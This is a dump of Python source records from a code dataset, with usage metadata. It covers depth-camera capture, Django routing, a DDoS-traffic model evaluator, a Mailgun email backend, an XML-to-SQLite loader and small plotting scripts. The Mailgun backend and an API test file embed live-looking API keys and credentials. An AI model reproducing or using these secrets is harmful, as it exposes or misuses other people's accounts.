"pathlib.Path.home", "line_number": 19, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 19, "usage_type": "name"}, {"api_name": "socket.socket", "line_number": 20, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 20, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os._exit", "line_number": 29, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 38, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 42, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 45, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 45, "usage_type": "attribute"}, {"api_name": "pickle.dumps", "line_number": 61, "usage_type": "call"}, {"api_name": "pickle.loads", "line_number": 76, "usage_type": "call"}, {"api_name": "pickle.loads", "line_number": 78, "usage_type": "call"}, {"api_name": "os._exit", "line_number": 89, "usage_type": "call"}, {"api_name": "os._exit", "line_number": 95, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 97, "usage_type": "attribute"}]} +{"seq_id": "433495671", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jul 15 09:47:13 2015\n\n@author: Shawn\n\"\"\"\n\nimport re\nfrom nltk import word_tokenize\n\ndef hotelNameAddress(hotel):\n stopset = set()\n try:\n hotelAddress = hotel.get('HotelInfo').get('Address').encode('ascii', 'ignore').lower()\n except:\n hotelAddress = \"\" \n hotelAddress = re.split(r'<.[^>]+>([^<]*)<.[^>]+>', hotelAddress)\n address = []\n for w in hotelAddress:\n address += word_tokenize(w)\n hotelAddress = [t for t in address if t.isalpha()]\n try:\n hotelName = hotel.get('HotelInfo').get('Name').encode('ascii','ignore').lower()\n except:\n hotelName = \"\"\n stopset = set().union(stopset, set(word_tokenize(hotelName)))\n stopset = set().union(stopset, set(hotelAddress))\n return stopset", "sub_path": "Feature Extraction/hotelNameAddress.py", "file_name": "hotelNameAddress.py", "file_ext": "py", "file_size_in_byte": 797, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "re.split", "line_number": 17, "usage_type": "call"}, {"api_name": "nltk.word_tokenize", "line_number": 20, "usage_type": "call"}, {"api_name": "nltk.word_tokenize", "line_number": 26, "usage_type": "call"}]} +{"seq_id": "29488943", "text": "import sys\nimport time\nfrom HPS3D_IF import *\nimport numpy as np\nimport cv2\nimport time\nimport pcl.pcl_visualization\nfrom PyQt5.QtCore import QTimer, QThread, pyqtSignal\nfrom openni import openni2\nimport sys,time,os,queue\nimport pcl\n\nclass HPS3DSave(QThread):\n def __init__(self, name, depth_stream):\n super().__init__()\n self.active = True\n self.name = name\n if not os.path.exists(name):\n os.makedirs(name)\n self.framenum = 0\n self.depth_stream = depth_stream\n self.Cloudqueue = queue.Queue() \n\n def frame_to_cloud(self, frame):\n points = []\n dframe_data = np.array(frame.get_buffer_as_triplet()).reshape([480, 640, 2])\n for y in range(frame.height):\n for x in range(frame.width):\n c_x,c_y,c_z = openni2.convert_depth_to_world(self.depth_stream,x+frame.cropOriginX, y+frame.cropOriginY, dframe_data[y,x,1]*255+dframe_data[y,x,0])\n if(c_z>=60000):\n continue\n else:\n point = [c_x/1000,c_y/1000,c_z/1000]\n points.append(point)\n\n points = np.array(points).astype(np.float32)\n return points\n\n def run(self):\n # time_prev = time.time()\n while self.active:\n while not self.Cloudqueue.empty():\n frame = self.Cloudqueue.get()\n frame = frame.reshape(480, 640)\n cv2.imwrite(self.name+'/'+str(self.framenum)+'.png', frame)\n self.framenum = self.framenum + 1\n time.sleep(0.5)\n\n print('4')\n # postprocessing after stop\n while not self.Cloudqueue.empty():\n frame = self.Cloudqueue.get()\n frame = frame.reshape(480, 640)\n cv2.imwrite(self.name+'/'+str(self.framenum)+'.png', frame)\n self.framenum = self.framenum + 1\n print('5')\n\n '''\n self.Cloudfile.close()\n with open(self.name, 'r') as original:\n Cloud_old = original.read()\n with open(self.name, 'w') as modified:\n print('momomomo')\n modified.write(str(self.framenum) + \"\\n\" + Cloud_old)\n '''\n\n def save(self, data):\n if self.active:\n self.Cloudqueue.put(data)\n\n def stop(self):\n print('cloud stop')\n self.active = False\n\n\nclass HPS3DRefresh(QThread):\n newCloud = pyqtSignal(object)\n def __init__(self, depth_stream, *args, **kwargs):\n super().__init__()\n self.active = True\n self.depth_stream = depth_stream\n self.depth_stream.start()\n\n def run(self):\n while self.active:\n frame = self.depth_stream.read_frame()\n dframe_data = np.array(frame.get_buffer_as_uint16()).reshape([480, 640,1])\n dframe_data[dframe_data>60000]=0\n if dframe_data is not None:\n self.newCloud.emit(dframe_data)\n time.sleep(0.01)\n\n def stop(self):\n self.active = False\n\n\n", "sub_path": "HPS3D_controller.py", "file_name": "HPS3D_controller.py", "file_ext": "py", "file_size_in_byte": 2998, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "PyQt5.QtCore.QThread", "line_number": 13, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 19, "usage_type": "call"}, {"api_name": "queue.Queue", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 26, "usage_type": "call"}, {"api_name": "openni.openni2.convert_depth_to_world", "line_number": 29, "usage_type": "call"}, {"api_name": "openni.openni2", "line_number": 29, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 36, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 45, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 47, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 54, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QThread", "line_number": 76, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 87, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 91, "usage_type": "call"}]} +{"seq_id": "47950534", "text": "in_fn = 'dataset/features/title_tf.csv'\nword_counts = {}\nmax_wid = 0\nwith open(in_fn) as inp:\n cnt = 0\n for line in inp:\n tokens = line.strip().split()\n label = tokens[0]\n if label not in word_counts:\n word_counts[label] = {}\n\n for pair in tokens[1:]:\n wid, freq = pair.split(':')\n wid = int(wid)\n freq = int(freq)\n\n max_wid = max(max_wid, wid)\n if wid not in word_counts[label]:\n word_counts[label][wid] = freq\n else:\n word_counts[label][wid] += freq\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ntermFreqs = []\nfor i, label in enumerate(word_counts):\n tf = np.zeros(max_wid+1)\n for wid in word_counts[label]:\n tf[wid] = word_counts[label][wid]\n\n termFreqs.append(tf)\n\nfig, axarr = plt.subplots(5, sharex=True)\n\nplt.tight_layout(pad=0.4, w_pad=0.5, h_pad=2.0)\n\ntitles = ['Relationship', 'Trees', 'Music', 'Travel', 'Sports']\nN = 5000\nfor k in range(0, 5):\n axarr[k].plot(range(0, N), termFreqs[k][0:N])\n #axarr[k].set_yscale('log')\n axarr[k].get_yaxis().set_visible(False)\n axarr[k].set_xlim([0, N])\n axarr[k].set_title(titles[k])\n #axarr[k].set_ylim([0, 10000])\n\nplt.show()", "sub_path": "plot_distribution.py", "file_name": "plot_distribution.py", "file_ext": "py", "file_size_in_byte": 1258, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "numpy.zeros", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}]} +{"seq_id": "520014168", "text": "from django.conf.urls import include, url\nfrom django.contrib import admin\n\nurlpatterns = [\n # Examples:\n # url(r'^$', 'cloudProject.views.home', name='home'),\n # url(r'^blog/', include('blog.urls')),\n\n url(r'^admin/', include(admin.site.urls)),\n url(r'^', include('cloudProject.applications.Home.urls')),\n url(r'^account/', include('cloudProject.applications.Account.urls')),\n url(r'^competitions/', include('cloudProject.applications.Competition.urls')),\n]\n", "sub_path": "cloudProject/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 480, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 9, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 9, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 9, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 10, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 10, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 11, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 12, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 12, "usage_type": "call"}]} +{"seq_id": "247950757", "text": "import requests\nimport json\n\n\nclass Test_SaveTrainedModel:\n url = \"https://airaapps.evalueserve.com/api/v1/automl/save/trainedmodel/?token=apikey\"\n\n def test1(self):\n payload = {'ModelID': 'beadce6bdf0c1d7fbab649adb35d5b41',\n 'ProjectID': 'PID100140',\n 'apikey': 'd0f4ac5d0ddf6f4a7bcedce7904f054f'}\n\n # headers = {\"Content-Type: application/json\"}\n # headers=headers,\n\n response = requests.request(\"POST\", Test_SaveTrainedModel.url, data=payload)\n\n print(response.text)\n", "sub_path": "APITesting/Test_SaveTrainedModel.py", "file_name": "Test_SaveTrainedModel.py", "file_ext": "py", "file_size_in_byte": 541, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "requests.request", "line_number": 16, "usage_type": "call"}]} +{"seq_id": "188803452", "text": "import torch\nfrom datasetloader import DatasetLoader\n\nMODEL_STORE_PATH = \"Model\"\nmodel = torch.load(MODEL_STORE_PATH)\nmodel.eval()\n\n\n# Min and max value of each feature\nmin_ip_address = 0\nmax_ip_address = 255255255255\n\nmin_port = 0\nmax_port = 65535\n\nmax_pkt_length = 1500 * 3 # * 3\nmin_pkt_length = 0\n\nmin_protocol = 0\nmax_protocol = 17\n\n# Bandwidth = 10Gbits/10, pkt_size = 64 bits\nmin_num_pkt_per_s = 0\nmax_num_pkt_per_s = 125e+7\n\nmin_syn_flag = 0\nmax_syn_flag = 1\n\nmin_ack_flag = 0\nmax_ack_flag = 1\n\nmin_max_vect = [\n\t\t\t\t\t[min_ip_address, max_ip_address], \n\t\t\t\t\t[min_port, max_port], \n\t\t\t\t\t[min_ip_address, max_ip_address], \n\t\t\t\t\t[min_port, max_port], \n\t\t\t\t\t[min_protocol, max_protocol], \n\t\t\t\t\t[min_num_pkt_per_s, max_num_pkt_per_s],\n\t\t\t\t\t[min_num_pkt_per_s, max_num_pkt_per_s],\n\t\t\t\t\t[0, 1],\n\t\t\t\t\t[min_syn_flag, max_syn_flag],\n\t\t\t\t\t[min_ack_flag, max_ack_flag]\n\t\t\t\t]\n\n\nfeatures_list = [2, 3, 4, 5, 6, 43, 44, 50, 51, 54]\ncsv_syn = 'Syn.csv'\ncsv_udp = 'UDPLag.csv'\n\nsyn_attack = 1\nudp_attack = 2\n\n#- Load the dataset\ndata_syn = DatasetLoader(csv_syn, syn_attack, 50000, 11000, features_list)\ndata_udp = DatasetLoader(csv_udp, udp_attack, 100000, 1000, features_list)\n\nsyn_train, syn_labels = data_syn.load_data()\nudp_train, udp_labels = data_udp.load_data()\ntrain_data, train_labels = data_syn.concat(udp_train, udp_labels)\n\nprint(\"\\033[1m\")\nprocessing = 0\nprint(\"Normalization Process Starting\")\nfor element in train_data:\n\tif processing == int (train_data.size(0) / 2):\n\t\tprint(\"\\033[32m Normalization {:.1f}%\".format((processing / train_data.size(0))* 100))\n\telif processing == train_data.size(0) - 2:\n\t\tprint(\"\\033[32m Normalization {:.0f}%\".format((processing / train_data.size(0))* 100))\n\tprocessing = processing + 1\n\tfor elmt in element:\n\t\tfor vect in elmt:\n\t\t\t# Normalisation of the vector\n\t\t\tfor ite in range(vect.size(0)):\n\t\t\t\tnorme_vect= min_max_vect[ite]\n\t\t\t\tvect[ite] = DatasetLoader.normalize(vect[ite], norme_vect[0], norme_vect[1])\nprint(\" End of Normalization\")\nprint(\"\\033[0m\")\nprint(\"\\033[1m\")\nprint('Evaluation Starting')\ndata_length= train_data.size(0)\nwith torch.no_grad():\n\tcorrect = 0\n\ttotal = 0\n\tpos = 0\n\twhile pos < data_length:\n\t\tlabel = train_labels[pos:pos+10]\n\t\tlabel = label.long()\n\t\toutput = model(train_data[pos:pos+10])\n\t\t_, predicted = torch.max(output.data, 1)\n\t\ttotal += label.size(0)\n\t\tcorrect += (predicted == label).sum().item()\n\t\tpos += 10\n\n\tprint(\" Accuracy Over {} Packets : {:.1f}%\".format(train_data.size(0) * 10, (correct / total) * 100))\n", "sub_path": "Evaluate.py", "file_name": "Evaluate.py", "file_ext": "py", "file_size_in_byte": 2605, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "torch.load", "line_number": 5, "usage_type": "call"}, {"api_name": "datasetloader.DatasetLoader", "line_number": 54, "usage_type": "call"}, {"api_name": "datasetloader.DatasetLoader", "line_number": 55, "usage_type": "call"}, {"api_name": "datasetloader.DatasetLoader.normalize", "line_number": 75, "usage_type": "call"}, {"api_name": "datasetloader.DatasetLoader", "line_number": 75, "usage_type": "name"}, {"api_name": "torch.no_grad", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 89, "usage_type": "call"}]} +{"seq_id": "291414819", "text": "import requests\nfrom django.core.mail.backends.base import BaseEmailBackend\nfrom django.conf import settings\nfrom django.core.mail.message import sanitize_address\n\nclass MailgunEmailBackend(BaseEmailBackend):\n def send_messages(self, email_messages):\n if not email_messages:\n return\n num_sent = 0\n for email_message in email_messages:\n if not email_message.recipients():\n return\n encoding = email_message.encoding or settings.DEFAULT_CHARSET\n from_email = sanitize_address(email_message.from_email, encoding)\n recipients = [sanitize_address(addr, encoding) for addr in email_message.recipients()]\n try:\n resp = requests.post(\n \"https://api.mailgun.net/v3/sandbox075b55521f59465c82d4d87856d6f43c.mailgun.org/messages\",\n auth=(\"api\", \"key-e1518fd3e6d897d250e23581f295417c\"),\n data={\"from\": \"\",\n \"to\": recipients,\n \"subject\": email_message.subject,\n \"text\": email_message.body})\n except Exception as e:\n if self.fail_silently:\n pass\n else:\n if resp.ok:\n num_sent += 1\n return num_sent\n", "sub_path": "my_proj/mail_backends.py", "file_name": "mail_backends.py", "file_ext": "py", "file_size_in_byte": 1396, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "django.core.mail.backends.base.BaseEmailBackend", "line_number": 6, "usage_type": "name"}, {"api_name": "django.conf.settings.DEFAULT_CHARSET", "line_number": 14, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 14, "usage_type": "name"}, {"api_name": "django.core.mail.message.sanitize_address", "line_number": 15, "usage_type": "call"}, {"api_name": "django.core.mail.message.sanitize_address", "line_number": 16, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 18, "usage_type": "call"}]} +{"seq_id": "200115504", "text": "##\n## takes two paramaters -- directory with the xml and database\n##\n## Actually does the lexicon too :-)\n##\nimport sqlite3, sys\nfrom lxml import etree\nfrom collections import defaultdict as dd\n\nif (len(sys.argv) < 3):\n # prints standard error msg (stderr)\n sys.stderr.write('You need to give two arguments, ' \\\n 'xml directory and LTDB')\n sys.exit(1)\nelse:\n (script, xmldir, dbfile) = sys.argv\n\nconn = sqlite3.connect(dbfile) # loads dbfile as con\nc = conn.cursor() # creates a cursor object that can perform SQL commands with c.execute(\"...\")\n\nf=open('tables.sql')\n\n###\n### Make tables\n### \ntry:\n c.executescript(f.read())\n sys.stderr.write('Creating tables for ltdb\\n')\nexcept:\n pass # handle the error\nconn.commit()\n\n### \n### Start with the lexicon as we need it to tell the lexical types\n### \nltypes=set()\nalltypes=set()\nf = open('%s/lex.tab' % xmldir, encoding='utf-8')\nfor l in f:\n (lexid, ltype, orth, pred, altpred) = l.strip().split('\\t')\n ltypes.add(ltype)\n try:\n c.execute(\"\"\"INSERT INTO lex \n (lexid, typ, orth, pred, altpred) \n VALUES (?,?,?,?,?)\"\"\", \n (lexid, ltype, orth, pred, altpred))\n except sqlite3.Error as e:\n print('ERROR: (%s) of type (%s), lexid: %s' % \\\n (e, type(e).__name__, lexid))\nprint(\"Lexicon (%s/lex.tab) entered into the DB (%s)\\n\" % (xmldir, dbfile), \n file=sys.stderr)\n\n\n###\n### Add the types: rules, lrules, general\n###\n\nkids = dd(set)\n\n### Rules\ntry:\n t = etree.parse('%s/rules.xml' % xmldir)\n print(\"Parsed %s/rules.xml\" % xmldir, file=sys.stderr)\nexcept:\n print(\"Couldn't parse %s/rules.xml\" % xmldir, file=sys.stderr)\n\nfor typ in t.getroot():\n for p in typ.get(\"parents\").split():\n kids[p].add(typ.get(\"name\"))\n alltypes.add(typ.get(\"name\"))\n try:\n c.execute(\"\"\"INSERT INTO types \n (typ, parents, children, status,\n cat, val, cont, definition, arity, head) \n VALUES (?,?,?,?, ?,?,?,?, ?,?)\"\"\", (typ.get(\"name\"),\n typ.get(\"parents\"),\n typ.get(\"children\"),\n typ.get(\"status\"),\n typ.get(\"cat\"),\n typ.get(\"val\"),\n typ.get(\"cont\"),\n typ.text,\n typ.get(\"arity\"),\n typ.get(\"head\")))\n except sqlite3.Error as e:\n print('ERROR: (%s) of type (%s), type: %s' % \\\n (e, type(e).__name__, typ.get(\"name\")))\nprint(\"Rules (%s/rules.xml) entered into the DB (%s)\\n\" % (xmldir, dbfile), \n file=sys.stderr)\n\n### Lexical Rules\ntry:\n t = etree.parse('%s/lrules.xml' % xmldir)\n print(\"Parsed %s/lrules.xml\" % xmldir, file=sys.stderr)\nexcept:\n print(\"Couldn't parse %s/lrules.xml\" % xmldir, file=sys.stderr)\n\nfor typ in t.getroot():\n for p in typ.get(\"parents\").split():\n kids[p].add(typ.get(\"name\"))\n alltypes.add(typ.get(\"name\"))\n try:\n c.execute(\"\"\"INSERT INTO types \n (typ, parents, children, status,\n cat, val, cont, definition, arity, head) \n VALUES (?,?,?,?, ?,?,?,?, ?,?)\"\"\", (typ.get(\"name\"),\n typ.get(\"parents\"),\n typ.get(\"children\"),\n typ.get(\"status\"),\n typ.get(\"cat\"),\n typ.get(\"val\"),\n typ.get(\"cont\"),\n typ.text,\n typ.get(\"arity\"),\n typ.get(\"head\")))\n except sqlite3.Error as e:\n print('ERROR: (%s) of type (%s), type: %s' % \\\n (e, type(e).__name__, typ.get(\"name\")))\nprint(\"Lexical Rules (%s/lrules.xml) entered into the DB (%s)\\n\" % (xmldir, dbfile), \n file=sys.stderr)\n\n\n#### Types\ntry:\n t = etree.parse('%s/types.xml' % xmldir)\n print(\"Parsed %s/types.xml\" % xmldir, file=sys.stderr)\nexcept:\n print(\"Couldn't parse %s/types.xml\" % xmldir, file=sys.stderr)\n\n\nfor typ in t.getroot():\n alltypes.add(typ.get(\"name\"))\n if typ.get(\"children\") or kids[typ.get(\"name\")]:\n if typ.get(\"children\"):\n for child in typ.get(\"children\").split():\n kids[typ.get(\"name\")].add(child)\n children = \" \".join(kids[typ.get(\"name\")])\n else:\n children=None\n if typ.get(\"name\") in ltypes:\n status = 'ltype'\n else:\n status = 'type'\n try:\n c.execute(\"\"\"INSERT INTO types \n (typ, parents, children, status,\n cat, val, cont, definition) \n VALUES (?,?,?,?, ?,?,?,?)\"\"\", (typ.get(\"name\"),\n typ.get(\"parents\"),\n children,\n status,\n typ.get(\"cat\"),\n typ.get(\"val\"),\n typ.get(\"cont\"),\n typ.text))\n except sqlite3.Error as e:\n print('ERROR: (%s) of type (%s), type: %s' % \\\n (e, type(e).__name__, typ.get(\"name\")))\nprint(\"Types (%s/types.xml) entered into the DB (%s)\\n\" % (xmldir, dbfile), \n file=sys.stderr)\n\n#### Roots\ntry:\n t = etree.parse('%s/roots.xml' % xmldir)\n print(\"Parsed %s/roots.xml\" % xmldir, file=sys.stderr)\nexcept:\n print(\"Couldn't parse %s/roots.xml\" % xmldir, file=sys.stderr)\n\nfor typ in t.getroot():\n alltypes.add(typ.get(\"name\"))\n children=None\n try:\n c.execute(\"\"\"INSERT INTO types \n (typ, status) \n VALUES (?,?)\"\"\", \n (typ.get(\"name\"), typ.get(\"status\")))\n except sqlite3.Error as e:\n print('ERROR: (%s) of type (%s), type: %s' % \\\n (e, type(e).__name__, typ.get(\"name\")))\nprint(\"Types (%s/roots.xml) entered into the DB (%s)\\n\" % (xmldir, dbfile), \n file=sys.stderr)\n\n\n### Description\ntry:\n t = etree.parse('%s/linguistics.xml' % xmldir,\n parser=etree.XMLParser(remove_comments=True))\n print(\"Parsed %s/linguistics.xml\" % xmldir, file=sys.stderr)\nexcept:\n print(\"Couldn't parse %s/linguistics.xml\" % xmldir, file=sys.stderr)\n\nfor typ in t.getroot():\n #print(etree.tostring(typ, pretty_print=True))\n lname = None\n for el in typ.iter('name'):\n lname = el.text\n description=None\n for el in typ.iter('description'):\n description = el.text\n todo=None\n for el in typ.iter('todo'):\n todo = el.text\n exes = list()\n for el in typ.iter('ex'):\n if el.text:\n exes.append('ex\\t%s' % el.text)\n for el in typ.iter('nex'):\n if el.text:\n exes.append('nex\\t%s' % el.text)\n criteria = '\\n'.join(exes)\n typname = typ.get('val')\n if typname not in alltypes:\n print('ERROR: unknown type (%s) in linguistics.xml' % \\\n typname)\n ##print (typname, lname, description, criteria)\n if typname:\n try:\n c.execute(\"\"\"UPDATE types SET\n lname =?, description =?, criteria =?,\n\t\t reference =?, todo =?\n WHERE typ=?\"\"\" , (lname,\n description,\n criteria,\n None,\n todo,\n typname))\n except sqlite3.Error as e:\n print('ERROR: (%s) of type (%s), type: %s' % \\\n (e, type(e).__name__, typ.get(\"name\")))\nprint(\"Descriptions (%s/linguistics.xml) entered into the DB (%s)\\n\" % (xmldir, dbfile), \n file=sys.stderr)\n\n \nconn.commit()\n", "sub_path": "xml2db.py", "file_name": "xml2db.py", "file_ext": "py", "file_size_in_byte": 8179, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "sys.argv", "line_number": 10, "usage_type": "attribute"}, {"api_name": "sys.stderr.write", "line_number": 12, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 12, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 14, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 16, "usage_type": "attribute"}, {"api_name": "sqlite3.connect", "line_number": 18, "usage_type": "call"}, {"api_name": "sys.stderr.write", "line_number": 28, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 28, "usage_type": "attribute"}, {"api_name": "sqlite3.Error", "line_number": 47, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 51, "usage_type": "attribute"}, {"api_name": "collections.defaultdict", "line_number": 58, "usage_type": "call"}, {"api_name": "lxml.etree.parse", "line_number": 62, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 62, "usage_type": "name"}, {"api_name": "sys.stderr", "line_number": 63, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 65, "usage_type": "attribute"}, {"api_name": "sqlite3.Error", "line_number": 85, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 89, "usage_type": "attribute"}, {"api_name": "lxml.etree.parse", "line_number": 93, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 93, "usage_type": "name"}, {"api_name": "sys.stderr", "line_number": 94, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 96, "usage_type": "attribute"}, {"api_name": "sqlite3.Error", "line_number": 116, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 120, "usage_type": "attribute"}, {"api_name": "lxml.etree.parse", "line_number": 125, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 125, "usage_type": "name"}, {"api_name": "sys.stderr", "line_number": 126, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 128, "usage_type": "attribute"}, {"api_name": "sqlite3.Error", "line_number": 156, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 160, "usage_type": "attribute"}, {"api_name": "lxml.etree.parse", "line_number": 164, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 164, "usage_type": "name"}, {"api_name": "sys.stderr", "line_number": 165, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 167, "usage_type": "attribute"}, {"api_name": "sqlite3.Error", "line_number": 177, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 181, "usage_type": "attribute"}, {"api_name": "lxml.etree.parse", "line_number": 186, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 186, "usage_type": "name"}, {"api_name": "lxml.etree.XMLParser", "line_number": 187, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 187, "usage_type": "name"}, {"api_name": "sys.stderr", "line_number": 188, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 190, "usage_type": "attribute"}, {"api_name": "sqlite3.Error", "line_number": 227, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 231, "usage_type": "attribute"}]} +{"seq_id": "110299734", "text": "import cv2\nimport numpy as np\n\ncap = cv2.VideoCapture(\"Jamie_Before.jpg\")\neyes_class = cv2.CascadeClassifier(\"frontalEyes35x16.xml\") # xml with eyes proportions\nnose_class = cv2.CascadeClassifier(\"Nose18x15.xml\") # xml with nose proportions\nwhile True:\n retval, img = cap.read()\n if retval:\n #gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n eyes = eyes_class.detectMultiScale(img)\n nose = nose_class.detectMultiScale(img)\n\n x1, y1, w1, h1 = eyes[0]\n\n\n glass = cv2.imread(\"glasses.png\")\n glass = cv2.resize(glass, (w1, h1))\n\n for i in range(glass.shape[0]):\n for j in range(glass.shape[1]):\n if glass[i, j, 3] > 0:\n img[y1 + i, x1 + j, :] = glass[i, j, :-1]\n\n #cut_nose = img[y2:y2 + w2, x2:x2 + h2]\n\n cv2.imshow(\"Glasses\", img)\n\n # cv2.imshow(\"photo\",img)\n\n key = cv2.waitKey(1)\n if key == ord('q'):\n break\n\ncap.release()\ncv2.destroyAllWindows()\n", "sub_path": "DS_Practice/Challenges/Snapchat/.ipynb_checkpoints/SnapchatChallenge-checkpoint.py", "file_name": "SnapchatChallenge-checkpoint.py", "file_ext": "py", "file_size_in_byte": 981, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "cv2.VideoCapture", "line_number": 4, "usage_type": "call"}, {"api_name": "cv2.CascadeClassifier", "line_number": 5, "usage_type": "call"}, {"api_name": "cv2.CascadeClassifier", "line_number": 6, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 19, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 28, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 32, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 37, "usage_type": "call"}]} +{"seq_id": "289226740", "text": "import numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef main():\n # Compute the x and y coordinates for points on sine and cosine curves\n x = np.arange(-3 * np.pi, 3 * np.pi, 0.1)\n y_cos = np.cos(x)\n y_2cos = 2* np.cos(x)\n\n # Make the first plot\n plt.plot(x, y_cos, label=\"cos\")\n plt.plot(x, y_2cos, label=\"2*cos\")\n plt.title('Scaled cos')\n\n # Show the figure.\n plt.legend()\n plt.show()\n\nif __name__ == \"__main__\":\n main()\n", "sub_path": "code/plot/draw_cos_2cos.py", "file_name": "draw_cos_2cos.py", "file_ext": "py", "file_size_in_byte": 459, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "numpy.arange", "line_number": 7, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 7, "usage_type": "attribute"}, {"api_name": "numpy.cos", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 9, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 12, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 13, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 14, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}]} +{"seq_id": "489124289", "text": "import unittest\nimport mock\nimport socket\n\nfrom lib.utils import 